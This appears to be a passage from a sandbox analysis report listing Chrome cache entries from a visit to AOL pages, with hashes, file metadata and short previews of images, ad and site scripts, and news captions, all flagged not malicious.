SHA-256:	F3E22262B472EE52E51E9F053856DAF9A3F7CE59DD66D51F201F1EE7FAAF5690
SHA-512:	64B0AE7AD0B84B0FC39EB90C11045AA5D920A1F5BD059ED599FC15ADBDC2AF73F2251F0D28A4508B8F09E040684966FC6112AE4DDC749DB2B83D4EA2BD3EB8BF
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wm/assets/images/ns/aol-logo-black-v.0.0.2.png
Preview:	.PNG........IHDR.......9.....9.wq....sRGB.........iTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <xmp:CreatorTool>Adobe ImageReady</xmp:CreatorTool>. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.)..=..=.IDATx....F..5g......#.N..#0'.A.H.@..H....LG 8.s".&..`...Mks.K...~z...Fwu.S.t......@...... ...@...... ...@...... ....%....J-.).... ..1....{.5.?..I....Oz&c.H..G.O.{.~../... ...@.....g....z.1<...Q&..@...... ....H..@K.K-.W..?.t.:.%H..@.......%@.PV._......8......... ...t%@..T..\..wc...4X.@... ...@....I..'........!...!...@...X....r.....{@..e........ ...@........nZ.v.L...o.8. ...@....@O.$.=.%...E?...sxN.m.@...... p.....@...........:.BtA...... .....8..../.,.r.y.

Chrome Cache Entry: 305

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	64
Entropy (8bit):	4.377117439641128
Encrypted:	false
SSDEEP:	3:InY9nyPMUyoSkkanSMUyoSt:norFSBanSrFSt
MD5:	1A7657940D772E680B51225E9B0A8A87
SHA1:	E35F06226AA7F3B7A2BB403503DF900141548199
SHA-256:	FDBC3A477DF8F0DB8FB1953F512D1946D54C485FE93C2B983ECC53BB3C891B34
SHA-512:	6E4158B835A55C8697EC7097CAE59C98A0E42A747F289E034FB60F74F8FF8D4C09F7720D7CF6A65EF55D61E3DD32CD77538BF8520FD8FBF965B76D815ADA34FD
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSLAlbMaiyxvAw-hIFDa0_TYESBQ3njUAOEgUNV3r3_RIFDeeNQA4SBQ3OQUx6?alt=proto
Preview:	Ci0KBw2tP02BGgAKBw3njUAOGgAKBw1Xevf9GgAKBw3njUAOGgAKBw3OQUx6GgA=

Chrome Cache Entry: 306

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30578), with no line terminators
Category:	downloaded
Size (bytes):	30578
Entropy (8bit):	5.256621409888506
Encrypted:	false
SSDEEP:	768:NGX+9cjI/qSpKpwAhrfxrPrtameY1tFXfuZBZE0B7vfp+p:YXZjWqSOwA5xrV4z5G
MD5:	9183A4186084C8DE52D97DD3B48AF62A
SHA1:	92E555B67B9FAC7DFE95514E9C55C44621F800CD
SHA-256:	FDD78DA27D75BB44751EE774AC833B4CFC5D233E6177B226CFA889DCB299D584
SHA-512:	35CB8C467C2A445D856942E80FE9FC0672DB645A2DA23B91DA20F192F29325E9AF3EEB5079B12F04770614EB38CAD10B55EB5BCBC31F38ED13849D075ADF88CE
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-video-3.1.2.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-video",[],t):"object"==typeof exports?exports["wafer-video"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-video"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(i[a])return i[a].exports;var n=i[a]={i:a,l:!1,exports:{}};return e[a].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var i={};return t.m=e,t.c=i,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var i=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(i,"a",i),i},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,i){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function

Chrome Cache Entry: 307

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7464)
Category:	downloaded
Size (bytes):	7500
Entropy (8bit):	5.1657260489280805
Encrypted:	false
SSDEEP:	192:/X0XebHM4LaptghQHsPCp/4LYzVuoiUOj/ASWAdw8v:/X0upOvghCG8cpBbCi
MD5:	D258F55A4CA48B0CA7C1ABDB471F4523
SHA1:	F6B8EDCD4E0C97186205C8C7E5DF0BFC4C4319B2
SHA-256:	273F79DBA6B0E7EB31E80B371CB2F2E4A846CF5E008476A90EC2AB29DF8D2A8D
SHA-512:	8F9EEC6880B8260A1ED40CB67EC6C502F8991592E057F1AF1C68FE5F385E7FC77D994E5A954100029883AF0F66E6CD89F4174C80E872428A3222F7C0E3D39D86
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/taboola.d258f55a4ca48b0c.js
Preview:	!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],e):"object"==typeof exports?exports.CAAS_AOLCOM=e():t.CAAS_AOLCOM=e()}(self,(function(){return function(){var t={5497:function(t){t.exports={dispatchCustomEvent:function(t,e){var n=document.createEvent("CustomEvent");n.initCustomEvent(t,!1,!1,e),document.dispatchEvent(n)}}},2830:function(t){t.exports={debounce:function(t,e,n){var o;return function(){for(var r=arguments.length,i=new Array(r),a=0;a<r;a++)i[a]=arguments[a];var l=this,u=n&&!o;clearTimeout(o),o=setTimeout((function(){o=null,n\|\|t.apply(l,i)}),e),u&&t.apply(l,i)}}}}},e={};function n(o){var r=e[o];if(void 0!==r)return r.exports;var i=e[o]={exports:{}};return t[o](i,i.exports,n),i.exports}n.d=function(t,e){for(var o in e)n.o(e,o)&&!n.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:e[o]})},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.r=function(t){"undefin

Chrome Cache Entry: 308

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	331
Entropy (8bit):	6.979178920515702
Encrypted:	false
SSDEEP:	6:6v/lhPfd2pZIQKYsQUUVD+1/rzILNDwYHSQg+tcNOzoYZFmyGdfxviyeC+IVp:6v/7MZIQKxt96NDwYHSQlcNGFm31x6yB
MD5:	6E73E8B5F42F8EB2A888E9482F70C0D2
SHA1:	D0DE9FA1BB16D3FA18DE58F01DFBB493F3D06F11
SHA-256:	F376E4F8B74B99D4A88FCCE470C6098071632B0B94507255DF10744320BE1E1A
SHA-512:	BC52ADDF2304AF93744D98957A99EC5E6A6E1AD8BFF1E6E470F1A74FF420D0FE5CB007002DA17D3BBC0072A8B01CD00C572B8C2BD187BC54E2165089E3D7312F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-11%2Faacb3290-4bb5-11ec-9dff-c91b8179f931&client=76f99bdb8f78cd44cc0b&signature=9db333fbfbd97c489dfb11e31107155b55541a73
Preview:	.PNG........IHDR.............(-.S...WPLTEGpL<[.<Z.Lh.;Z.;Z.Gd.A_.<[.<[.Ca.;Z.<[.;Z.:Y.Gd.....Sn.^w.w..q..........h.....?].Mi....\....tRNS.......1........F.....IDAT..e....0..C.$.v.....w.).*u..V...(=H9h%...'f..O\....`8.......PB..6....h1..a.,...B.1.....X.#.K.h.....o.........f.>.Zb-..?L..=..^f..-g_.G9.G...6...q.L....IEND.B`.

Chrome Cache Entry: 309

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 310

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	740
Entropy (8bit):	5.021987867374641
Encrypted:	false
SSDEEP:	12:LdBoz3Zx+D623UEEpZg+xCcBaYVAD7JuPXSds3AD54pAG96heS4pqfT:LdBsOURTg+0cBaYWwPHA2KNeSPT
MD5:	E74AD74D69BB22F3227CC6B4042D3142
SHA1:	1B74F33A16D5E938163ECE569CBF8321893B8E71
SHA-256:	EDE7E4043CCAC3045A442F4833BD7C44DF0F101C501AB6F7E80676935798CEED
SHA-512:	609D4B87988A63D62428A2083F877E637C09B4CA7B3123BA7A0095228A90BEF60581A36D310C0C04ED78EA3697888B4F146154EA7A093FACF0DA140140F31E25
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/segment0.vtt?akamai_token=exp=1716516988~acl=/media/v1/hls/v4/clear/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6eb6a5d3-aaa5-49bf-bfcb-687bb8b31f8c/*~hmac=c2ee02b09e1308de7ca9cbcd5cead0d31500a50a4337c809a195d510774cfee2
Preview:	WEBVTT.X-TIMESTAMP-MAP=LOCAL:00:00:00.000,MPEGTS:0..00:04.219 --> 00:09.180.A judge has halted the auction of Graceland by .a company that claimed Elvis Presley's estate..00:09.189 --> 00:12.649.failed to repay a loan that used the property .as collateral...00:13.250 --> 00:18.000.Presley's granddaughter, Riley Keogh, filed a .lawsuit to fight off what she said was a..00:18.010 --> 00:19.280.fraudulent scheme...00:20.479 --> 00:25.329.Britain's Prince William hosted a summer garden .party at Buckingham Palace in torrential rain...00:25.340 --> 00:29.350.On Tuesday. .The prince hosted the party solo as his wife...00:29.360 --> 00:30.000.Catherine, Princess of Wales, has largely been .absent from the public stage since January due..

Chrome Cache Entry: 311

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	289
Entropy (8bit):	4.709134573700085
Encrypted:	false
SSDEEP:	6:Y9KQOQacdlmUFOJ1SjZfIfNsSpPL7u5DHJvQJPZNsSpJMXu5DHJPfl7n:YoQOAvmEFQfNsSp/kHiPZNsSpJAkHFt7
MD5:	F90CC8343F06975D3B64B88DD4728194
SHA1:	D714FC317F33DD1318BC60D7E912E436690BD82F
SHA-256:	78854A5E3B05C677AEB85ADC960420B8CE1712B90E434254107ABD4CD5710531
SHA-512:	35C0B1B61DD5552898FDCBF1F2AF96C28F73E2CADD9EAD5EFA0D5ACE46E36156B0DCC8DFCD1CB4C5A4F198C1AC7B2E35DD3D29A445EA424D00826259AC56726E
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/api/customer/profile
Preview:	{"profile":{"guid":null,"loginId":null,"displayName":null,"localizedBrand":"usaol"},"isAuthenticated":false,"isPaid":false,"loginUrl":"https://oidc.help.aol.com/login?dest={dest}&language=en-US","logoutUrl":"https://oidc.help.aol.com/logout?dest={dest}&language=en-US","nameValuePairs":{}}

Chrome Cache Entry: 312

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2128
Entropy (8bit):	7.507660946885147
Encrypted:	false
SSDEEP:	48:XURjf05ZPsMBJ7ZS7K8p5SR0eHTlkBAucMoYBd9m8f:XU5f05+2F8D8JTXuiYZVf
MD5:	0A655B831508393A98EB7A326DAB2E06
SHA1:	281623615F42473F91772815EDDCBA38C7C0195C
SHA-256:	AAA59258AD15BDA106C043F29ADDE85FE5A52A63D463CC1DF79C2A641BFA5BE7
SHA-512:	9E463F11E8EB118F7198C277E376E3782E9E1D0F84308294AAF6AA125BE0FBCF5505AEC32BF26D50DD52C24771B0C9D712D8E2EA86637C18DD617253ACACCBE2
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F7K_tu.SMGj_akw2SJ_wa7Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fmariners_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2b8a377cb94691fc5f98ff850b130d1f2ccf1ea3
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL.XX.XX.XX.FU.XX.WW.XXL\|..NV.XX.XX.WX.3S.XX.XX.TW.XX.XX.XX.XX.WW.XX.WX.XX.QW.XX.XX.WW./W..S.WW.XX.XX.XX.XX....XX.XX.XX.XX....XX.%P.XX.XX.'R.XX.'R.......)R....)S.&R.<U.VW.>V.XX.XX.CV.(R.,S.H].XX.'R.$O.KW.;T.XX.XX..........'R"Fe-Ml.:\.HV...............................T.WX/Sn.CU.'Rh}.4QqTk..DWj..Um..1U.4T9Ut.@U.X].5T`u.T...AX.OV....WX.XX....UX.....X./Y.R.8Tk...DV.=U.FV.......6^...[....T.PW....5T...Uk..BU....RW.YZ.9T..Rbv.....<U.?U...4Np.1S....:a....HV...0Jn.3S.KVv...,V#?es..AYy......MW.....n...........Ne.E\{,Fk.....Ch\|.'RQg....Ia.j}.................2Zey.......:StX..Yo....'ChX..c..>z}\..l..(no >c.]].J^~..M.........SY...9yzs...ff..............\|..{...AX9`u7sx\x.x...N`e..l.....!jkC..r...............Ktz............\x....`......OW...N{..........2[r...D?.;....tRNS...x..._...q.....h[......>.*q)...b...DT.;LI."WH.-"..yA.O.k...g.8N...e..J..........I.rUe6.. ....................................................................................

Chrome Cache Entry: 313

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	123712
Entropy (8bit):	7.9985107714893235
Encrypted:	true
SSDEEP:	3072:pP8OosmG42X1D9FbPOJrZHEMhWNg5NVrBVldsdME:pP8Oon2TF7OZdElg7ZsdN
MD5:	B0E551E4380F6BF1E5A58514E6BA3874
SHA1:	2C9F2D0334156778F1FCE2BC10282DCE28043BE9
SHA-256:	D4072F57955AF265DE030F4B5746E97E98C4C5DD035CEEAF3C276725B89F23A7
SHA-512:	784B1D63D745B257A7AB93CE03667BED9A60BA3D5823EEFEB779BB689D80B7B2810B139344D6443B84437A37FFBDF94F5B7268503652EE7BEF28FEEF558C6E05
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/3x/segment3.ts?akamai_token=exp=1716526298~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde
Preview:	{.......{4..ZzTa[.....9..<.`..w7W....q2.P.......F2.iwu);"........;.....+.@....m.%.}.2....R'.i.K...C....!...~1.B.+{..5.~a...L.Uk.\|.X....7l..Sw...~./.#......b.z...J.>...>..>..LY(_/.....J8.8Z._Oh........B.....>.....iQ..WCO.]2..V]=.....~..!Z..Q.e@........X..>-..ct.....M....%..o.wB.P...B.mVb...8..@.$........A=.....y..j<...zC.....,.Rdbjg./a.HT.E.L..3..X.Qx.B.N..hN..D ..(,.K..lV..Q..c"..6.W=.A.?...Df......)...SI..`....c.J..{...A....S....N.C..f.{.......X.Y..lbL..ee.'...c-/.O.P..K.n._N.H+I...._...{.....\|.U..E...Fw].n...\|p..G.W.6.6..O1.../.LE.........s.3X.......(.rt...'.y...........2..y;..)\.....6...a.1...">.m....[...5.\|.%.(..Ibv..m5..........l#..b@.o..1Gm.}mm..]..5H...Op.!.....V.r.}.d=..2#0..I.+..t.7.Q.{.9....Zu....$......\|I.3$.. $.N.s..?.8. .x.?..-..5%6...@.B....D...$-.X.W.D..v.M...j$...[.c...U..DCH..h..s.a].V\..~......F4.g.....7...8r{*.....:.R.y}?.E....!....\.....R..w\Q$.'.....9j].@o..Y.F...+L{%?.....g.b.]...ij5..2<...S.........(.....

Chrome Cache Entry: 314

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2080
Entropy (8bit):	7.451355916373001
Encrypted:	false
SSDEEP:	48:U1JfcEFlBsAc8ttUjJIRdlRB5UYm8ixfkT4gZ+1T8EdgqofI5csTwFvd:U1FbBsB8ttcIRLRbUFxfA4eKTbgcq3d
MD5:	EE2BB39DF9B03D451E8EECC3A0A0CDCF
SHA1:	7EA1EC1D8114366E5CC95E40F3DC9F94EE44E955
SHA-256:	983C843AF2095B18F329C1698EAB80FDEAFA57EBF29B5ECE488A9630035A038D
SHA-512:	2401B4E68B4FCA6917A550912945530B7CF5A807F87A39D50C38B9903000727810DCF0B4176173136531DF33EF960CB935AA6852B8965A7B1C461ED30338F4AB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...................................................................................................................................................................................................................Hq.............Hq......................Hr...............................Hr....Hr.......Hr.Hr.Hr.....A.'O.'O.'O..A..A.&O8#L.&N..B..Bm.H..Bu.H..C;"LIYx.....AP J....D&%M!4Y....C+$M6Gi.&N.@cH!K..A..G2CfE!K.....E... 3Yp.H %N..F..Gr.H..E,>a..Cv.H2#M.)Q.,Sy....F..D.....B5#L..Cao.W.J@"L..D.........<Mn..B...y.G..F)<`'9_..E$7\9Jl...P_\|...R J($M....1W..........D^.Iw....B........U...Z.J...Vd....\|.....fs.g.I....D..FBRr...-$Mc.I..C...@Pq..E..EV.J.$M......ly.%8].,S#%NO^\|...[.J....(P.....jw.......ETt...{.G...M\z...s..B!K...\|.G.....E...]k..../$Mhu.q}.Zh.HWv...F......htRNS............Q..Kf.....n.=y..)$..'i.B.....9.....!.....ak..6.{....+..l5e....%.pr._.?..}..T.[.G..@...p"`........gIDAT....uX.....O.L:NJ...Pl.3....}....#.a....0j.....g..>/..18...

Chrome Cache Entry: 315

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	224
Entropy (8bit):	4.9207862451818025
Encrypted:	false
SSDEEP:	6:/uIyOyGJ1aVN3TVcouEnViARgU10IyOy7MskeSuIyZ:O384NpcREnEARdY37Mssu1Z
MD5:	35F949AB045720F0B6F75A311584A1D7
SHA1:	02E9ED67863D09819F70A2698D720D577D056B36
SHA-256:	89AFC3009E156E65090C97179FF909D96510FE1C606DB04950D466F0EC41FB7F
SHA-512:	55416B00E6BC0392E840D6CFE0D2EF4A85B92B9EDE9EC341B7B107971DAE2B89E28BD7E7642569B1719081D80CE1EB190A9029819F387784492AA5283111F1A7
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/dispatcher.35f949ab045720f0.css
Preview:	.m-dispatcher--rightrail{margin:0 -10px 20px;padding:0;position:relative;text-align:center;z-index:12}@media screen and (max-width:480px){.m-dispatcher--rightrail{padding-top:60px}}../# sourceMappingURL=dispatcher.css.map/

Chrome Cache Entry: 316

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	dropped
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 317

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16604)
Category:	downloaded
Size (bytes):	16605
Entropy (8bit):	5.626229597255949
Encrypted:	false
SSDEEP:	384:MDKpNJrrjUOMLdZS1O4afmu4ABOUyZsuDr:/poLuwl1uxDr
MD5:	AFFF28B6DD72D1BD824133318DDEAA17
SHA1:	8FE632D123AEDC3F74C5CDC663BE6EEC08E194F0
SHA-256:	1CD9AD59C920DF7A6CA75F6B536658D7AB4B01E928B926DEAEFD5D9974A47A75
SHA-512:	2864DFFB3F8F61421A4D47455B3FA8EEE1A82118AEA2E8F0D94562976672708E846C4EE6335DC36E1DF2F0C58D06FF30CF7BE8AB8DB30A748722627BB221D941
Malicious:	false
Reputation:	low
URL:	https://www.aol.com/lib/metro/g/myy/rapidworker_1_2_0.0.2.js
Preview:	function base64(b){if("undefined"!=typeof btoa){return btoa(b);}for(var q,k,d,j,c,h,m,g="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",p=[],v=0;b.length>v;){q=b.charCodeAt(v++),k=b.charCodeAt(v++),d=b.charCodeAt(v++),j=q>>2,c=(3&q)<<4\|k>>4,h=(15&k)<<2\|d>>6,m=63&d,isNaN(k)?h=m=64:isNaN(d)&&(m=64),p.push(g.charAt(j)+g.charAt(c)+g.charAt(h)+g.charAt(m));}return p.join("");}function lzw_encode(b){for(var q,k={},d=(b+"").split(""),j=[],c=d[0],h=256,m=d.length,g=1;m>g;g++){q=d[g],null!=k[c+q]?c+=q:(j.push(c.length>1?k[c]:c.charCodeAt(0)),k[c+q]=h,h++,c=q);}j.push(c.length>1?k[c]:c.charCodeAt(0));for(var p=j.length,g=0;p>g;g++){j[g]=String.fromCharCode(j[g]);}return j.join("");}(function(aQ){var aN=32768,a9=0,aW=1,a8=2,aV=6,a4=!0,bg=32768,a1=64,aM=8192,aO=2*aN,bc=3,a6=258,ba=16,bY=8192,bh=13;bY>bg&&postMessage("error: zip_INBUFSIZ is too small"),aN<<1>1<<ba&&postMessage("error: zip_WSIZE is too large"),bh>ba-1&&postMessage("error: zip_HASH_BITS is too large"),(8>bh\|\|258!=

Chrome Cache Entry: 318

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4401)
Category:	downloaded
Size (bytes):	4442
Entropy (8bit):	5.240869375588351
Encrypted:	false
SSDEEP:	96:3h3IN95qffZ42DCpuYkEABsjp8yFqNB8X7/:3U5wZ4+Cpu78pRFqNc/
MD5:	591EB330CF39199701995BF05C4160A2
SHA1:	CF632B5CD15B7BC4F0894BC8EAB182A3FA367906
SHA-256:	B87C7D720461399D0A9C838570BC5FD9C84930A9D2F4BD273D6109EBE5845571
SHA-512:	6ADE9C37BACAE4FFD0C8D68C2AEAEA2068E1B32C00FD7B0E01422894DFE4D6D415B147D509D41BA6E03D5E047196A034A6311AE1A4A0A9FAFD9C5624D56ECBB3
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/trivia_games.591eb330cf391997.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"use strict";var e={d:function(t,n){for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r:function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function r(e){return function(e){if(Array.isArray(e))return i(e)}(e)\|\|function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]\|\|null!=e["

Chrome Cache Entry: 319

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 320

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	7.507660946885147
Encrypted:	false
SSDEEP:	48:XURjf05ZPsMBJ7ZS7K8p5SR0eHTlkBAucMoYBd9m8f:XU5f05+2F8D8JTXuiYZVf
MD5:	0A655B831508393A98EB7A326DAB2E06
SHA1:	281623615F42473F91772815EDDCBA38C7C0195C
SHA-256:	AAA59258AD15BDA106C043F29ADDE85FE5A52A63D463CC1DF79C2A641BFA5BE7
SHA-512:	9E463F11E8EB118F7198C277E376E3782E9E1D0F84308294AAF6AA125BE0FBCF5505AEC32BF26D50DD52C24771B0C9D712D8E2EA86637C18DD617253ACACCBE2
Malicious:	false
Reputation:	low
